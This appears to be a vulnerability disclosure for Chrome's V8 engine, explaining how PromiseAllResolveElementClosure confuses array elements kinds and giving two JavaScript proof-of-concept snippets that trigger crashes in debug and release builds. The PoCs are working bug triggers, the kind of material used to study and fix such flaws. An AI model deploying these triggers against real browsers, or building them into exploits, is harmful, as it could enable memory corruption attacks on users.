Chrome V8 PromiseAllResolveElementClosure Element Confusion Vulnerability. Promise.all method uses PromiseAllResolveElementClosure as a resolver for each given Promise object to insert a value in the result array at specific index, leading to confusion in array elements' kind and a potential V8 crash

Code
Chrome: V8: PromiseAllResolveElementClosure can cause elements kind confusion 




The Promise.all method internally uses PromiseAllResolveElementClosure (<a href="https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-promise-gen.cc?rcl=dc2d3bb9711effb349df58af26c49169aa019121&l=1910" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-promise-gen.cc?rcl=dc2d3bb9711effb349df58af26c49169aa019121&l=1910</a>) as a resolver for each of given Promise objects to insert a value into the result array at a specific index.

PromiseAllResolveElementClosure first tries to grow the capacity of the result array, and if it fails due to the index being too large, it uses the CreateDataProperty method to insert the value. The problem is, the growing operation (<a href="https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-promise-gen.cc?rcl=dc2d3bb9711effb349df58af26c49169aa019121&l=1933" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-promise-gen.cc?rcl=dc2d3bb9711effb349df58af26c49169aa019121&l=1933</a>) always excepts the elements kind of the array to be PACKED_ELEMENTS despite the CreateDataProperty can transition it to DICTIONARY_ELEMENTS.

PoC with comments:
let arr = new Array(0x10000);
let resolve_element_closures = new Array(0x10000);

for (let i = 0; i < arr.length; i++) {
    arr[i] = new Promise(() => {});
    arr[i].then = ((idx, resolve) => {
        resolve_element_closures[idx] = resolve;
    }).bind(null, i);
}

Promise.all(arr);

// 0xffff is too large, transitions to DICTIONARY_ELEMENTS
resolve_element_closures[0xffff]();

// grows the capacity, the elements kind of the result array is still DICTIONARY_ELEMENTS, but the elements object of it is no more a dictionary.
resolve_element_closures[100]();

// You can observe that V8 crashes here in debug mode.
resolve_element_closures[0xfffe]();

PoC for release mode:
var promise = new Promise(() => {})
promise.then = function (cb) {
    cb();
};

let arr = new Array(0x10000);
arr.fill(0);
arr[arr.length - 1] = promise;

Promise.all(arr);
